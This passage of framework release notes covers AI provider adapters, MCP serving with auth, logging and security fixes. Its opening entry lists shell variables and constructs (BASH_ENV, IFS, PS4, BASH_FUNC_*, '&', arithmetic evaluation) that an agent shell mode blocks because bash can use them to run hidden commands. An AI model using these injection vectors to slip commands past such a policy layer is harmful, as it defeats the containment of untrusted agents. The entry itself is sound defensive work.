ENV,BASH_ENV,SHELLOPTS,BASHOPTS,CDPATH,IFS,PS4,GLOBIGNOREandBASH_FUNC_*from the spawned environment, refuses assignments to such variables, refuses&(use background commands), and refuses arithmetic-evaluating constructs ($(( )), array subscripts in builtins) that bash can use to run hidden commands. - SecurityThe docs, README and skill now state plainly that shell mode is a policy layer checked before
/bin/shruns the line (defence in depth), not an OS sandbox, and recommend running untrusted agents in a container, microVM or as a separate unprivileged user. - SecurityKilling a background command, a timeout and
dispose()signal only the process tree the workspace spawned (its own process group on POSIX,taskkill /Ton its PID on Windows).
- Added
ai.mcp(server, { signal })binds the client to a run: when the signal aborts the client closes its transport, and later handshakes and tool calls fail with anMcpTransportErrorof type"closed". Everytools/callhonors both the client signal and the per-callctx.signal. - Added
ai.tools.measure(tools, { model, mode })— themeasureToolshelper from@warlock.js/ai— measures the input tokens a tool list costs per call. - Added
ai.mcp.serve(source, { transport: { type: "http" } })serves the MCP Streamable HTTP transport onnode:http(no extra dependency). It binds127.0.0.1on a free port at/mcpby default (host,port,pathoverride them), andstart()resolves{ url, close }.close()stops accepting connections, waits up todrainTimeoutMs(default 5 s) for in-flight calls, then aborts theirctx.signaland frees the port. The endpoint is stateless: JSON responses,202for notifications,405forGET/DELETE,400for batches or an unsupportedMCP-Protocol-Version. - AddedHTTP auth:
auth: { bearer }accepts one token or a rotation list;auth: { authorize(request) }runs a custom check; with both set, a request must pass both. Failures get401before the body is read. - AddedTools served over HTTP receive the inbound request on
ctx.request(headers,remoteAddress), for per-user tokens, tenant headers or trace ids. - AddedGrouped sources:
serve({ groups: { name: tools } }, { prefixToolNames: true })exposes<group>_<tool>; a function builds custom names. - AddedOptional MCP resources (
resources: [{ uri, name, read }]) and prompts (prompts: [{ name, arguments, get }]), with their capabilities advertised only when configured. The server also answersping. - Added
McpServeError(type:"collision","config","listen"),SUPPORTED_PROTOCOL_VERSIONS, and theMcpHttpServeTransport,McpHttpAuth,McpHttpRequestInfo,McpServeHandle,McpHttpServeHandle,McpServeResource,McpServePrompt,McpServeCallContext,McpToolSource,McpGroupedToolSourcetypes.createServeHandler(...).handle(request, context?)takes an optional call context. - Changed
initializenegotiates the protocol version: a client's requested version is echoed when supported (2025-11-25,2025-06-18,2025-03-26), otherwise the newest is offered. It previously always answered2025-06-18. - Changed
McpServer.start()resolves a handle ({ url?, close }) instead ofvoid. The http transport'sportis optional. - Changed
@modelcontextprotocol/sdkis no longer listed as an optional peer dependency. The MCP client never imported it: it speaks MCP's JSON-RPC itself over a child process (stdio) andfetch(http). The SDK is now a development dependency, used only by the interoperability test against the official client. The MCP docs, README andconnect-mcp-serverskill now say so, and nameajvas the client's only optional peer. - FixedThe stdio transport of
ai.mcp.serve()no longer crashes the process when a line is JSON but not a request object (null, a number, an array): it answers a JSON-RPC "Invalid Request" error (-32600,id: null). A failure while answering a line is answered as an internal error and can no longer become an unhandled rejection. - SecurityThe HTTP transport binds loopback by default and refuses to start on any non-loopback host without
auth(McpServeError,type: "config"). - SecurityBearer tokens are compared with
crypto.timingSafeEqualover SHA-256 digests, so neither content nor length leaks through timing; every configured token is checked. Empty tokens are refused, and anauthorizehook that throws denies the request. - Security
Originis validated on every request, per the MCP transport's DNS-rebinding guidance: loopback origins andallowedOriginspass, others (includingnull) get403. While bound to loopback, aHostheader other thanlocalhost,127.0.0.1,[::1]orallowedHostsalso gets403. - SecurityRequest bodies over
maxBodyBytes(default 1 MiB) get413and the connection is closed.
- AddedWith a
cacheControlbreakpoint, acachePointis also placed after the system prompt and, for Claude, after the tool definitions — the prefix segments Bedrock caches intools→system→messagesorder.ttl: "1h"(per call, or the newpromptCacheTtlmodel option) is sent only to models that accept it. - AddedBuilt-in Claude prices for
global.andus.inference profiles (BEDROCK_GLOBAL_PRICING,BEDROCK_US_PRICING,bedrockPricingFor), from AWS's Bedrock price list as of 2026-10-17; caller pricing for Claude models gets the 1.25x / 2x cache-write rates filled (withClaudeCacheWriteRates).complete()and the streamingdonechunk attachusage.costwhen priced. - AddedClaude 5 families and Nova 2 Lite are recognised as prompt-caching capable.
- Added
ServiceUnavailableExceptionthrowsProviderOverloadedError; wrapped errors carrystatus,billedandretryable. - Added
new BedrockSDK({ apiKey, region })authenticates with an Amazon Bedrock API key: requests carryAuthorization: Bearer <apiKey>instead of a SigV4 signature and the AWS credential chain is not consulted (the adapter sets the AWS SDK'stokenandauthSchemePreference: ["httpBearerAuth"]). An empty key, or a key combined withcredentialsortoken, throwsInvalidRequestError. - AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()and cancels the HTTP/2 request. - AddedWith
streamChunks,stream()yieldsreasoningforreasoningContent.textdeltas andtool-argsfor clienttoolUse.inputdeltas. - Added
ai.providerTool({ provider: "bedrock", definition })appends a ConverseToolmember such as{ systemTool: { name: "nova_grounding" } }verbatim; other providers' tools are skipped with a warning. - Added
providerOptions.bedrock.bodyforwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions. - AddedModels expose native
countTokens()preflight using the generation request's Converse conversation, tools and additional model fields. - FixedUsage is marked
inputIncludesCache: false(ConverseinputTokensexcludes cache reads and writes) and reports 1-hour cache writes fromcacheDetailsincacheWrite1hTokens, so cost bills each cache token once at its own rate. - FixedA
toolUseblock withtype: "server_tool_use"(a system tool run by Bedrock) is no longer returned as a tool call for the agent to dispatch. - FixedConverse conversion compiles with strict indexed-access checks while preserving empty and system-only histories.
- FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
- FixedConverse conversion combines adjacent same-role turns in content order, preserving parallel tool results and automatic compaction summaries beside assistant tool calls.
- AddedThe starter's
src/config/tests.tsdocuments the test fakes that are on by default and how to opt out (fakes: false, or per fake such as{ cache: false }). - AddedThe generated
AGENTS.mdand thecode-standards/security-baselineskills tell coding agents to runnpx warlock check, which reports unvalidatedrequest.all()input, unguarded mutating routes, unsafe redirects, sensitive values in logs and unbounded regexes on input with aWLcode, in both--lint=eslintand--lint=oxcprojects. - AddedThe scaffold's sign-in and password-recovery routes, contact form and locale switch are marked
public: true;/auth/loginusesloginThrottleMiddleware(),/auth/forgot-passwordtokenIssueThrottleMiddleware(),/auth/reset-passwordtokenConsumeThrottleMiddleware(), and/auth/refresh-tokena 30-per-minute route limit. The user list validates its query (page,limit,id,name,email) and passesrequest.validated()to the repository. - AddedOpt-in
--lint=oxc/--lint oxcflag and custom-wizard prompt install pinned Oxlint 1.88.0/Oxfmt 0.73.0, matching lint/style configs and the Oxlint development health checker. ESLint/Prettier remain the default. Both choices include non-mutatinglint:checkandformat:checkscripts. Oxc projects configure and recommend the official VS Code extension for format-on-save and lint fixes; default projects retain their Prettier/ESLint editor settings. Help and headless diagnostics include--lint. - AddedCustom-mode optional features now use paged sections with selected counts and a select-all action per section. The decisions overview previews the selected feature/AI count and keys.
- ChangedBREAKING: Node.js 22.15 or newer is required, both in
enginesand in the scaffolder's own startup check (which used to accept Node 20), matching what thewarlockCLI needs. In an existing app,warlock upgrade --from 5.30 --to 5.31.0raisesengines.node,.nvmrcand.node-version(codemodnode-22-15). - Changed
--lint=oxcprojects sort imports onformat: the generated.oxfmtrc.jsonsets"sortImports": { "newlinesBetween": false }, keeping imports in one block asprettier-plugin-organize-importsdoes in the ESLint toolchain. Oxfmt does not remove unused imports; Oxlint reports them. - FixedScaffolder source formatting and tests use the workspace Oxfmt configuration, including standalone installs; template formatting continues to use each generated app toolchain.
- FixedGroup feature selection preserves explicit unticks when selecting the remaining group, and returns the category cursor to the group last edited.
- FixedThe project-ready summary wraps feature lists and next steps to the terminal width, measures visible emoji width, and uses a plain list on narrow terminals. Piped output uses an 80-column fallback. Wrapped values align under their labels, and the summary retains its label, command and link styling.
- FixedOn terminals narrower than 50 columns the project-ready heading keeps its bold green styling, as in the boxed layout.
- FixedThe ESLint-toolchain
lint,formatandtscscripts call the localeslint,prettierandtscbinaries instead ofnpx, matchinglint:check/format:checkand the Oxc scripts.formatnow quotes its glob, so Prettier formats nested files undersrc/rather than relying on the shell's expansion. - FixedThe starter's
AGENTS.mdends with a## This app (generated)section whosewarlock:generatedmarkerswarlock dev(andwarlock agents-md --write) fills with the app's modules, routes, models, installed skills and verify commands. - FixedOpt-in
--lint=oxc/--lint oxcflag and custom-wizard prompt install pinned Oxlint 1.88.0/Oxfmt 0.73.0, matching lint/style configs and the Oxlint development health checker. ESLint/Prettier remain the default. Both choices include non-mutatinglint:checkandformat:checkscripts. Oxc projects configure and recommend the official VS Code extension for format-on-save and lint fixes; default projects retain their Prettier/ESLint editor settings. Help and headless diagnostics include--lint. - FixedCustom-mode optional features now use paged sections with selected counts and a select-all action per section. The decisions overview previews the selected feature/AI count and keys.
- AddedBuilt-in OpenAI list prices (
OPENAI_MODEL_PRICING,openAIPricingFor) for flat-priced models, from OpenAI's pricing page as of 2026-10-17, applied only on the"openai"provider label and exact ids. Models priced by prompt length stay unpriced. - AddedUsage is marked
inputIncludesCache: true, reports Chat Completionsprompt_tokens_details.cache_write_tokens, andcomplete()/ the streamingdonechunk attachusage.costwhen priced. - Added503 /
server_is_overloadedthrowsProviderOverloadedError; wrapped errors carrystatus,billedandretryable. - AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the Chat Completions and Responses models and cancels the HTTP request. - AddedWith
streamChunks, the Responses model yieldsreasoningfor reasoning-summary / reasoning-text deltas andtool-argsforresponse.function_call_arguments.delta; the Chat model yieldstool-argsfor tool-call argument fragments andreasoningfor a compatible vendor'sreasoning_content/reasoningdelta field (DeepSeek, Groq). - Added
ai.providerTool({ provider: "openai", definition })adds Responses built-in tools (web_search,file_search,code_interpreter, …) verbatim. A reasoning item that led into a hosted tool call is left out of the stateless replay, and built-in calls the caller would have to execute (shell_call,apply_patch_call,computer_call,custom_tool_call, …) throwInvalidRequestErrorinstead of being dropped. Chat Completions sends a provider tool only when itsproviderequals the model's provider label (e.g."groq"). - Added
providerOptions.openai.bodyforwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions. - AddedResponses models expose native input-token preflight through
countTokens(); Chat Completions keeps offline estimates separate. - Changed
promptCacheKeyis sent asprompt_cache_keyfor the"xai"and"mistral"provider labels as well, since both endpoints document the field.prompt_cache_retentionand explicit cache breakpoints stay OpenAI-only; other labels receive no cache fields. - FixedProvider body objects replace the adapter-built object when their string
typediscriminator changes, so format and tool-choice overrides do not retain incompatible fields from the old variant. Same-type and undiscriminated objects keep the one-level merge. - FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
- AddedA failed rule result may carry
errors: [{ error, path }]to report several errors, each at its own path, under the rule's type. - AddedSuccessful custom rules may return a
dataproperty to replace the current validated value, including explicitundefined; omitting the property preserves the value. - ChangedObject factories return their already typed class directly, avoiding a duplicate Standard Schema intersection and reducing compiler work for composed schemas. CI now checks the Seal inference benchmark against its updated baseline.
- Fixed
v.union(...)tries every member whose type matches before failing, so a union of several object schemas accepts a value that matches a later member;firstErrorOnlylimits the errors reported, not the members tried. A failing union reports its closest member: fewest mismatched literals, then fewest errors, then the deepest error path, then declaration order. - FixedA failing union no longer stores its last member error on the shared rule, so a later validation with no type-matching member reports the default message instead of a stale one.
- FixedThe custom-error locale example is strict JSON, with its filename outside the code fence.
- FixedStandalone string replacement mutators accept an omitted context or options and preserve the stringified input instead of throwing.
- FixedObject
.merge()retains refinements from both schemas, in their original order; cloning, extending and selecting fields preserve the original schema's refinements. - FixedUnion and record Standard Schema types now distinguish child input from validated output;
Infer.Outputreads the Standard Schema output parameter. Defaults and catches remain guaranteed in output. - FixedObject, array, tuple and lazy Standard Schema output declarations preserve child defaults and catches independently of their input types.
- Fixed
v.tuple([...])infers one type per position:v.tuple([v.string(), v.int()])is typed[string, number]for input and output instead of(string | number)[], so a value with swapped positions no longer type-checks. ABaseValidator[]variable is still accepted.
- AddedUsage is marked
inputIncludesCache: true(promptTokenCountincludes cached content), andcomplete()/ the streamingdonechunk attachusage.costwhen priced. - AddedA built-in list price for
gemini-3.5-flash-lite(GOOGLE_MODEL_PRICING,googlePricingFor), from the Gemini API pricing page as of 2026-10-17. Models priced by prompt length, by input modality, or with a scheduled price change stay unpriced. - Added503
UNAVAILABLEthrowsProviderOverloadedError. 400 and 500 failures are markedbilled: false, as Google's billing docs state. - AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - AddedWith
streamChunks,stream()yieldsreasoningfor thought parts (sent whenthinkingConfig.includeThoughtsis on) andusagefor every chunk carryingusageMetadata. - Added
ai.providerTool({ provider: "google", definition })entries ({ googleSearch: {} },{ codeExecution: {} },{ urlContext: {} }) are sent verbatim as their ownToolafter the function declarations; other providers' tools are skipped with a warning. - Added
providerOptions.google.bodyforwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions. - AddedModels expose native
countTokens()preflight. Vertex counts system instructions and tools; unsupported Developer API system/tool and cached-content counts fail explicitly. - FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
- FixedConsecutive messages that map to the same Gemini role are sent as one content with their parts in order. The results of parallel tool calls now travel as a single
userturn offunctionResponseparts in call order instead of one turn per result, and an agent compaction summary next to a same-role turn merges into it, so requests keep alternatinguserandmodelturns. EachfunctionCallkeeps its ownthoughtSignature, andcountTokens()counts the same contents.
- Added
FileLogfileNameoption: a pattern ("app-{YYYY}-{MM}-{DD}", tokens{YYYY}{MM}{DD}{HH}{mm}{name}in local time) or a(date) => stringfunction, evaluated at every write; it replaces the chunk's default name.rotateFileNametakes the same forms and is rendered at each rotation (a getter passed in the config was read once, at construction, so every archive kept the boot date). ExportedFileNameOption,FileLogRetention,DAILY_FILE_NAME,HOURLY_FILE_NAMEandROTATE_FILE_NAME. - Added
FileLogretention: { maxFiles?, maxAgeDays?, match? }: removes old log files on boot and whenever the channel starts a new file (a size rotation or a dated name rolling over), pluschannel.prune()on demand. It only considers files in the log directory (each group directory withgroupBy) whose names match the channel's file name pattern, keeps the file being written, and reports failures toonChannelErrorinstead of throwing. A functionfileNameneedsretention.match. InvalidmaxFiles/maxAgeDaysthrow aTypeErrorat construction. - Added
LogChannel.reportError(error, entry)andsetErrorReporter(reporter)(typeChannelErrorReporter): a channel reports failures outsidelog()to theonChannelErrorhandler of the logger it was added to (addChannel,setChannels,configure({ channels })), or one stderr line without one. - Added
escapeLogValue(value, { maxLength? })makes client-controlled text safe inside a log line: CR/LF/tab become visible\r/\n/\t, other control characters (NUL, DEL, C1, U+2028/U+2029) become\uXXXX, ANSI escape sequences are removed, andmaxLengthcuts with a…[truncated]marker. A user agent or form field can no longer forge entries in console or file logs. - AddedSkills demonstrate email masking inside text, channel-error observation and bounded asynchronous log drains.
- FixedWith
groupBy, size rotation renames the group file that grew too large instead of the ungrouped top-level file. - FixedA file name that throws while a buffer is written (a
fileNamefunction, or an overriddenfileNamegetter) is reported as a failed write instead of leaving the channel stuck in its writing state; later writes go through.
- Added
complete()and the streamingdonechunk attachusage.costwhen the model is givenpricing. - AddedWith
streamChunks,stream()yieldsreasoningfor eachmessage.thinkingpiece. Provider-defined tools for other providers are left out of the request with a warning. - Added
providerOptions.ollama.bodyforwards native per-call request options for completions and streams while protecting the model, conversation and tool definitions. - Fixed
complete()now honourssignal: theollamaclient takes no per-request signal, soOllamaSDKwraps the client'sfetch(the caller's ownfetchoption included) to apply each call's signal. Aborting cancels the HTTP request before or after the response starts, oncomplete()andstream(), and a call with an already-aborted signal rejects without sending a request. An adapter contract test covers both calls. - FixedProvider body options merge plain-object fields one level deep, preserving neutral reasoning, generation and structured-output settings unless the caller overrides their keys.
- AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - Added
MistralModelConfig.promptCacheKeyis sent asprompt_cache_key. - ChangedChat calls inherit
providerOptions.openai.bodyfrom the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. NativecountTokensremains absent;sdk.count(text)is an offline estimate. - Fixed
MISTRAL_DEFAULT_PRICINGmatches Mistral's current price list (2026-10-17), with cache-read rates and API ids beside the-latestaliases. Retired Pixtral and Magistral entries are removed.
- AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - Added
XaiModelConfig.promptCacheKeyis sent asprompt_cache_key(xAI routes it tox-grok-conv-id), so requests sharing a prefix reuse the same cache. - ChangedChat calls inherit
providerOptions.openai.bodyfrom the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. NativecountTokensremains absent;sdk.count(text)is an offline estimate. - FixedThe provider-body and token-estimate guidance renders as prose instead of being swallowed by a stray code fence.
- AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - ChangedChat calls inherit
providerOptions.openai.bodyfrom the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. NativecountTokensremains absent;sdk.count(text)is an offline estimate. - Fixed
DEEPSEEK_DEFAULT_PRICING(now exported) matches DeepSeek's price list (2026-10-17) fordeepseek-flash,deepseek-v4-flashanddeepseek-v4-pro. DeepSeek bills by time of day; the defaults are the peak rates, an upper bound, andDEEPSEEK_OFF_PEAK_PRICINGholds the off-peak rates.
- AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - ChangedChat calls inherit
providerOptions.openai.bodyfrom the OpenAI adapter, including its protected fields and one-level plain-object merge. Use only this provider's accepted fields when sharing fallback options. NativecountTokensremains absent;sdk.count(text)is an offline estimate. - Fixed
GROQ_DEFAULT_PRICING(now exported) matches Groq's published prices (2026-10-17):openai/gpt-oss-120boutput is 0.60, the gpt-oss models get their 50% cache-read rate, andqwen/qwen3.8-27bis added.
- AddedTool spans carry the provider's tool-call id as the
tool.callIdattribute. - AddedAgent runs with
status: "incomplete"(their final answer was cut off) are exported as errors: OTelERRORstatus, Langfuse levelERROR, the console exporter's error stream (markedINCOMPLETE), the dashboard's error filter, and thefailedcount of trace-store aggregates.?status=incompleteis accepted by the dashboard API. - FixedTrace cost totals (exporters, the dashboard and trace filters) include the new cache-write cost channel.
- Added
authMiddleware()marks itself as an auth guard (markAuthGuard()from@warlock.js/core), sowarlock dev's unguarded-route warning recognises routes behind it; the{ optional: true }form is marked as not a guard. Docs and skills list what throttles auth endpoints by default (core's global limit, plus the throttles new apps attach to sign-in and password recovery) and how to add them to an existing app. - AddedReal Redis integration coverage for login failure counters and lockouts, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with
WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys. - FixedLogin, token and OTP throttles pass their counting-window TTL into each atomic increment. A counter that expires between the create-only seed and increment is recreated with an expiry rather than becoming permanent. Token middleware regression assertions cover the issue counters' one-hour window and the consume counter's fifteen-minute window.
- Added
fs.confined(root, options)/createConfinedReader(root, options): a reader confined to one folder, for folders you do not control (a user-chosen import folder, an extracted upload).readText,readBuffer,readJson(optional Standard Schema),stat,exists,listandwalk(async, depth-first) take root-relative paths. The root is canonicalised once and refused when it is itself a symlink (unlessallowSymlinkedRoot); absolute paths and..that climb above the root throwFsPathEscapeError; every path component is checked withlstatand a symlink or Windows junction anywhere throwsFsLinkRefusedError; files are opened withO_NOFOLLOWwhere available and the opened handle's device/inode must match the checked entry, so a file or parent folder swapped between check and open is refused.maxFileBytes(default 16 MiB) is enforced while reading,maxEntries(default 100 000) andmaxDepth(default 64) boundlist/walk, withFsLimitExceededError.followLinks: truefollows only links whose target stays inside the root. - Added
FsPathEscapeError,FsLinkRefusedError,FsLimitExceededError(each with atypediscriminator,pathand the reason or limit), theConfinedReader/ConfinedEntry/ConfinedStatstypes, andisPathInside(child, root). - ChangedClarify the concurrency contract of
moveDirectoryNoReplaceAsync/fs.dirs.moveNoReplaceat the call-site documentation: the exclusive destination claim protects cooperating writers, while an empty placeholder swapped before its first identity read or after its last check can still be replaced.expectedSourceandsyncParentsdo not eliminate those windows. Deterministic interleaving tests preserve these documented limits.
- Added
registeredJobs()andqueueOf()are exported, so tools can list the jobs an app defined withdefineJob()and the queue each runs on;warlock inspectreads them for itsjobssection. - Added
setDispatchInterceptor({ dispatch, find? })/getDispatchInterceptor(): while an interceptor is set, every job'sdispatch()andfind()go to it instead of BullMQ, so nothing connects to Redis. The slot is process-wide.queueFakein@warlock.js/core/testsis built on it. - FixedLocal Redis integration tests skip with a clear service message when Redis is unavailable; CI and explicitly requested integration runs fail instead. Unit cases remain runnable without Redis.
- AddedReal Redis integration coverage for atomic counters and their expiry behavior, including concurrent requests, preserved deadlines and counters recreated after a seeded key expires. Local runs opt in with
WARLOCK_REDIS_INTEGRATION=1; CI requires a live Redis service. Tests use UUID prefixes and clean only their own keys. - Fixed
cache.increment(key, amount, { ttl })supplies a TTL when an atomic increment creates or recreates a counter, through direct, tagged and scoped calls. Existing expiry deadlines are preserved; an explicit TTL also repairs a live permanent counter across drivers. Redis applies the count and TTL together, so an expired seed cannot leave a permanent counter even when the driver has no default TTL.
- FixedAccess skills no longer end in stray code fences, and the cache configuration recipe is an object expression rather than a labelled statement.
- FixedThe model-events skill uses
Model.globalEvents().on()for global listeners; the abstract base model's per-modelon()shortcut requires a concrete subclass.
- ChangedThe
devtools-overviewskill shows how to read a request's devtools timeline from the terminal withwarlock trace, and how coding agents read recent requests through therequests_recenttool ofwarlock mcp. The JSON API they use (GET <path>/api/requests,GET <path>/api/requests/:id) is unchanged.
- FixedLocal Redis integration tests skip with a clear service message when Redis is unavailable; CI and explicitly requested integration runs fail instead. Unit cases remain runnable without Redis.
5.30.0October 16, 2026
Fixes for issues found while building real apps on 5.29, plus a security and correctness review. Security: request logs no longer carry OAuth codes, signed-URL credentials or raw Request/Response objects (route logging policy, masked URLs and query), log and cache output masks email addresses with a linear pattern, <Form> only enhances same-origin targets and redirects refuse javascript: targets on the server and the client, SSE event names and ids are stripped of line breaks, login throttles key by an HMAC of the credential, and parallel AI tool calls are capped and serialised per file. HTTP: a request-lifetime request.signal, bounded SSE and stream retention with backpressure, graceful shutdown that closes idle keep-alive connections, typed http.serverOptions, http.errorMapper, shared rate limits through @warlock.js/cache, and @warlock.js/core/errors. Seal: v.literal("") and .default("") keep empty strings, optional discriminated unions accept omitted fields, and validate() returns typed output. Web: 4xx error pages hydrate, <Head /> renders the viewport, <Form independent>, redirect submissions wait for the new page, and production starts without Vite or Babel. Breaking: log methods return the logger instead of a promise (await log.flush() waits), and AI tool calls in one trip run concurrently by default (toolDispatch: "sequential"). create-warlock works on pnpm 9 and 10 again.
Full release notes or run npx warlock release-notes.
- Added
request.signal: anAbortSignalthat aborts when the client disconnects before the response finishes (not when the request body finishes reading, never on normal completion); its listener is attached on first access and removed when the response closes. - AddedStream backpressure:
response.stream()'s controller gainswrite(data)(sends, then waits until the client can take more;falseonce it is gone),drain(),backpressured,signal(aborted on client disconnect, not onend()) andonDisconnect(fn), matchingresponse.sse(). - AddedSSE backpressure:
sse.write(event, data, id?)sends and waits until the client can take more (falseonce it is gone), plussse.drain(),sse.backpressuredandsse.signal(aborted on disconnect). - Added
http.serverOptionsis typed (HttpServerOptions), including Node's nativehttpoptions such asserverOptions.http.maxHeaderSize; it was already forwarded to Fastify but the config type could not express it. - Added
@warlock.js/core/errors: a side-effect-free subpath withHttpErrorand its subclasses (BadRequestError,ResourceNotFoundError, …). A standalone helper or worker can import it without bundling Cascade, Cache or the MongoDB driver; the classes are the same ones the root exports, soinstanceofholds across both. - Added
http.errorMapper: map errors that are not anHttpErrorto{ status, message?, payload? }(or anHttpError), so domain errors shared with non-HTTP processes need not extend Core. A mapped 5xx stays opaque unless the mapper sets a message; a mapper that throws is logged and ignored. - AddedPer-route request logging policy:
logging: { body?: boolean, query?: boolean }on a route, with app-wide defaults underhttp.logging(plusredactQueryParams). It is applied before any log entry is built, so a schema- or middleware-rejected body never reaches a log channel. - Added
request.toLogSnapshot(),buildRequestLogSnapshot()andredactUrlCredentials(): the bounded, plain-data view of a request that log entries now carry. - Added
purgeImageVariants(path?, { disk? })removes one file's cached image derivatives, or a disk's whole derivative cache. - Added
createUploadedFileController({ disk })serves the originals and variants of any local disk, andresolveImageVariant({ disk?, path, variant, format? })resolves (and renders on a miss) one variant for an app's own route, e.g. a private disk behind auth.uploadedFileControlleriscreateUploadedFileController(). - AddedShared rate limits:
http.rateLimit.store: "cache"counts in@warlock.js/cache, so every process on a shared driver (Redis, Postgres) shares the limit;middleware.rateLimit()follows it or takes its ownstoreand a stablename. A@fastify/rate-limitstore class can be passed asstoretoo. Windows are fixed and clock-aligned. Each route with its ownrateLimitcounts separately (namespaced by method and URL from the plugin'srouteInfo, hashed so/users/:idand/users/idnever merge). A cache outage fails open on both limiters (skipOnErrordefaults totruefor this store) and is logged at most once a minute. Thenullandfilecache drivers are refused withUnsupportedRateLimitDriverError(one stores nothing, the other never sweeps expired windows and does not share increments between processes). - Changed
response.stream()no longer keeps rendered chunks.response.bodyafterend()holds the lastretainChunkschunks written bysend(),write()orrender()(response.stream(type, { retainChunks }), default 0); it used to hold everyrender()chunk. - Changed
response.stream(): after the client disconnects,send()/render()are silent no-ops andendedistrue(they used to write to the closed socket);send()afterend()still throws. - Changed
@fastify/staticis only loaded when there is something to serve — at least onerouter.directory(), or an existing public folder (storage.publicRoot, which now also acceptsfalseto turn it off). Its directory-listing module callsos.cpus()at load, which cost a measured ~0.4–0.5 s of cold start in an app that served neither. With no public folder,reply.sendFileis no longer decorated by that plugin;response.sendFile()is unaffected. - Changed
@warlock.js/core/errorsalso resolves inside the framework repository (a rooterrors/index.tsre-export, not published), so workspace packages and tests can import it by its package name. - Changed
response.sse()no longer keeps every sent event.response.bodyafterend()holds the lastretainEventsevents (response.sse({ retainEvents }), default 0), so long-lived streams no longer grow with their history. - ChangedBREAKING (only for a custom log channel that reads
context.request/context.response): request log entries carry aRequestLogSnapshot, not theRequest/Responseinstances (context.requestis{ id, method, url, route, name, ip, userAgent, query?, body? };response.logadds{ statusCode }). Native request/reply graphs no longer reach log channels, and credential-bearing query values (secret,token,apiKey,signature,code,X-Amz-*, …) are masked in the logged URL.warlock upgrade --from 5.29 --to 5.31.0applies the mechanical part (codemodrequest-log-snapshot). - Changed
warlock add notificationswrites a smaller, convention-following module:models/notification/(model with aNotificationResource, migration),resources/, a validatedschema/list-notifications.schema.ts(limitcapped at 50, norequest.all()), a guardedtypes/notifications-request.type.ts,services/,utils/locales.json, one controller per file for list / unread-count / mark-read / mark-all-read registered throughrouter.route(), a commentedgate()permission hook, and a 401 spec per controller when the app has the test feature. The clear-all and delete endpoints are no longer generated. Apps that already have a notification model (5.29 layout included) are skipped, and a freshly ejectedconfig/notifications.tsthen imports the 5.29 model path. In an app that already hassrc/app/notifications, no second model or migration is added, existing files are kept (and listed), andnotFoundis merged into an existingutils/locales.json. The mark-read controller turns a numeric:idinto a number (integer ids on the default MongoDB stack) and keeps other ids as strings; the list query drops unknown keys such as a cache-busting_instead of rejecting them. - ChangedImage derivatives are cached per source (
<cacheDirectory>/<2 hex>/<sourceKey>/<size-mtime>/<hash>.<ext>). Deleting or moving a file through a local disk (delete,deleteMany,move, anddeleteDirectoryfor every file under it) removes its derivatives, and a rewritten source's old derivatives are pruned once a new one is written, so the cache no longer grows forever. Pruning re-checks the source first, so a request that read an older version never deletes the newer version's derivatives, and a derivative pruned mid-request is rendered again instead of answering 500. - ChangedConcurrent variant requests for the same file on two disks (a mirror copied with its mtime) no longer share one generation, which left the second target unwritten and answered 500.
- ChangedA warning is logged once when the image-variant cache sits inside the public folder: a configured
uploads.images.cacheDirectoryis shared by every local disk, so private derivatives there would be publicly served. - Changed
storage.use(name)(andStorageManagerContract.use) is typed asScopedStorage, the class it returns, sodeleteDirectory,copyDirectory,moveDirectory,emptyDirectory,putFromUrl,prependandappendtype-check without a cast. - Changed
middleware.rateLimit()returns an async middleware (its in-memory path still completes synchronously). - ChangedThe
run-appskill lists where each pnpm version reads build approvals (allowBuildson 10.26+, workspaceonlyBuiltDependencieson 10.5–10.25,package.jsonbefore 10.5); it used to say onlyallowBuildsworks. - FixedGraceful shutdown no longer waits out its timeout on keep-alive connections whose request finished during the drain: in-flight responses answer
Connection: closeand connections are closed as they go idle (defaultforceCloseConnections: "idle"), so later connectors still shut down. Active responses are never cut short. - FixedA
response.sse()orresponse.stream()started after graceful shutdown began keeps the drain'sConnection: close; its ownConnection: keep-aliveused to override it and holdclose()until the shutdown timeout. - Fixed
response.sse()removes line breaks and NUL from event names and ids, and writes a multi-linecomment()as one comment line per line, so values built from user input cannot inject SSE fields or events. - FixedAn
onDisconnecthandler onresponse.sse()orresponse.stream()that throws is logged and no longer crashes the process or skips the handlers after it. - Fixed
warlock.config.tsloads when it imports local TypeScript without an extension (./src/connectors/local) or through a tsconfigpathsalias, on Node without native TypeScript and with native type stripping alike. The fallback bundles the config's local graph with esbuild, keeps packages external (oneBaseConnector/container identity), runs the config once, rethrows its own errors unchanged, keeps each inlined module'simport.meta.url, and removes its temp file. - Fixed
v.file()rule methods (maxSize,image,accept,mimeType, …) returnthis, so theUploadedFileoutput type survives the chain;saveTo()is typed as astringoutput. - FixedThe dev server and the HTTP test server register module
src/app/<module>/utils/locales.jsondictionaries at boot; they were left out of the boot file set, sot()printed raw keys until the file was edited. - FixedThe HTTP test server no longer keeps Vitest's main process alive after teardown: the loader-hook
MessagePortis unreferenced except while a version-bump flush waits for its acknowledgement. - FixedA quoted config key (
